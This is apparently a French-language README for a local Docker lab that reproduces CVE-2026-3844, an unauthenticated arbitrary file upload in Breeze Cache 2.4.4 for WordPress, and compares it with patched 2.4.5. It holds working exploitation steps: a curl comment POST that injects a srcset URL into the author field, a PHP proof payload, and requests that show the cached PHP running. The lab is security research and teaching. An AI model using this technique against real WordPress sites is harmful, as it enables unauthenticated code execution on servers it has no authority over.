
Laboratoire Docker local uniquement pour reproduire et comparer le comportement de CVE-2026-3844 dans le plugin WordPress Breeze Cache.
Ce dépôt démontre le comportement vulnérable de Breeze Cache 2.4.4 et le compare au comportement corrigé de Breeze Cache 2.4.5. Le laboratoire utilise deux services WordPress isolés, l’un vulnérable et l’autre corrigé, ainsi qu’un serveur de charge utile local dans le réseau Docker.
La preuve de concept est volontairement à moindre impact : elle n’utilise pas de webshell, n’expose pas de paramètre de commande, ne lance pas de shell inverse et ne nécessite pas la lecture de fichiers à l’intérieur du conteneur. La preuve repose sur un comportement HTTP observable depuis l’hôte.
CVE-2026-3844 affecte le plugin Breeze Cache pour WordPress jusqu’à la version 2.4.4 incluse. Le chemin de code vulnérable est lié à la fonctionnalité de mise en cache locale des Gravatar du plugin, plus précisément au flux fetch_gravatar_from_remote().
Lorsque l’option Breeze Host Files Locally - Gravatars est activée, les versions vulnérables peuvent récupérer un fichier distant contrôlé par l’attaquant et le stocker dans un répertoire de cache public accessible via le Web. Si le fichier récupéré est du PHP, le serveur web peut l’exécuter lorsqu’il est demandé via HTTP.
Ce laboratoire reproduit ce comportement localement :
vuln service : WordPress + Breeze Cache 2.4.4patched service : WordPress + Breeze Cache 2.4.5payload service : serveur de charge utile local réservé au réseau Dockersrcset contrôléeLe résultat attendu est :
http://127.0.0.1:8081 / Breeze 2.4.4 → la preuve PHP est mise en cache et exécutéehttp://127.0.0.1:8082 / Breeze 2.4.5 → la preuve PHP n’est pas mise en cache / lisible / exécutable.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
Les conteneurs WordPress récupèrent la charge utile via l’URL du réseau Docker :
http://payload:9100/<payload-file>.php
L’hôte vérifie le résultat via des requêtes HTTP normales vers les services WordPress.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally doit être activéeLe comportement vulnérable n’est accessible que lorsque la mise en cache locale des Gravatar est activée. Cette option est désactivée par défaut dans les installations typiques, mais ce laboratoire l’active intentionnellement pour reproduire le chemin de code vulnérable.
Dans Breeze Cache 2.4.4, le flux de localisation des Gravatar peut extraire une URL distante du HTML lié aux avatars et transmettre cette URL à fetch_gravatar_from_remote().
La version vulnérable manque de validation suffisante autour du fichier distant :
.phpLe fichier résultant est stocké sous :
/wp-content/cache/breeze-extra/gravatars/
Lorsqu’un fichier PHP y est enregistré puis demandé via Apache/PHP, le serveur l’exécute.
Dans Breeze Cache 2.4.5, le flux corrigé ajoute une validation qui empêche la charge utile de ce laboratoire d’être mise en cache en tant que PHP exécutable. Dans la reproduction locale, le même déclencheur fonctionne contre 2.4.4 mais n’expose pas le marqueur de preuve contre 2.4.5.
Ce laboratoire conserve volontairement le serveur de charge utile en local plutôt que d’utiliser un hôte de charge utile public.
download_url() de WordPress et l’API HTTP de WordPress rejettent par défaut certains noms d’hôte Docker privés et ports non standard. Les scripts d’exploitation publics utilisent souvent des URLs de charge utile HTTPS publiques, ce qui évite cette restriction. Ce laboratoire ne fait pas cela.
Pour garder la reproduction entièrement locale, le script d’initialisation installe un petit plugin d’assistance MU local uniquement qui :
payload et payload.local80 et 9100Ce plugin d’assistance ne modifie pas le code source de Breeze. Les services vulnérable et corrigé utilisent tous deux de vraies versions du plugin Breeze installées via WP-CLI.
Le plugin d’assistance n’existe que pour rendre le laboratoire Docker déterministe et strictement local.
Ce dépôt est destiné uniquement à la recherche en sécurité locale autorisée et à la démonstration dans un portfolio.
Garde-fous :
localhost et les services du réseau Dockercmd=La charge utile du PoC affiche des informations bénignes d’exécution PHP :
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
Cela prouve le contexte d’exécution de code sans lancer de commandes shell.
requestsInstaller la dépendance Python :
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt doit contenir :
requests
Construire et démarrer le laboratoire :
docker compose down -v --remove-orphans
docker compose up -d --build
Vérifier l’état des services :
docker compose ps
Services attendus :
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
Vérifier les journaux d’initialisation :
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
Lignes de journal attendues :
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
Vérifier l’installation de WordPress :
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Vérifier les versions de Breeze :
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
Attendu :
2.4.4
2.4.5
Vérifier la précondition vulnérable :
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
Attendu :
1
1
Vérifier que WordPress peut récupérer le service de charge utile local :
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
Si proof-cve3844.php n’existe pas encore, créez un fichier temporaire dans payload/ ou exécutez le PoC une fois.
Exécuter contre le service vulnérable :
python3 poc/poc.py --base-url http://127.0.0.1:8081
Résultat vulnérable attendu :
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
Exemple de sortie de preuve :
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Exécuter contre le service corrigé :
python3 poc/poc.py --base-url http://127.0.0.1:8082
Résultat corrigé attendu :
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
Une redirection telle que 301 Moved Permanently n’est pas considérée comme une preuve. Le PoC exige que le marqueur unique apparaisse dans le corps de la réponse HTTP.
Le PoC exécute le flux local suivant :
payload/.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload est utilisé.Le PoC ne lit pas de fichiers à l’intérieur du conteneur cible. Les preuves sont collectées sur HTTP depuis l’hôte.
Créer une charge utile manuelle :
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
Confirmer que le serveur de charge utile sert le source PHP en tant que texte statique :
curl -i http://127.0.0.1:9100/manual-proof.php
Publier un commentaire sur le service WordPress vulnérable :
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
Déclencher le traitement Breeze en rendant l’article via l’hôte d’URL du site WordPress configuré :
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
Preuve HTML attendue :
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
Demander le fichier PHP mis en cache :
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
Preuve de vulnérabilité attendue :
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Vérifier les journaux de la charge utile :
docker compose logs --tail=50 payload
Attendu :
GET /manual-proof.php HTTP/1.1" 200
| Target | Version de Breeze | Résultat attendu |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | La preuve PHP est récupérée, mise en cache et exécutable |
http://127.0.0.1:8082 | 2.4.5 | Le marqueur de preuve PHP n’est pas exposé |
Arrêter et supprimer les conteneurs, réseaux et volumes :
docker compose down -v --remove-orphans
Supprimer les fichiers de charge utile générés si nécessaire :
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844 :
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Base de données Patchstack — Plugin WordPress Breeze Cache <= 2.4.4 : téléversement arbitraire de fichier non authentifié via fetch_gravatar_from_remote :
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 : téléversement arbitraire de fichier non authentifié :
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Wordfence Blog — Couverture de l’exploitation active de la vulnérabilité de Breeze Cache :
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Page du plugin Breeze Cache :
https://wordpress.org/plugins/breeze/
Téléchargements des plugins WordPress utilisés dans ce laboratoire :
WordPress Plugin Trac — Référence du code source de Breeze, class-breeze-cache-cronjobs.php :
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
Ce projet est destiné uniquement à la recherche en sécurité locale autorisée. N’exécutez pas le PoC contre des systèmes que vous ne possédez pas ou dont vous n’avez pas l’autorisation explicite de tester.
WordPress Plugin Trac — Référence du code source corrigé de Breeze, class-breeze-cache-cronjobs.php :
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php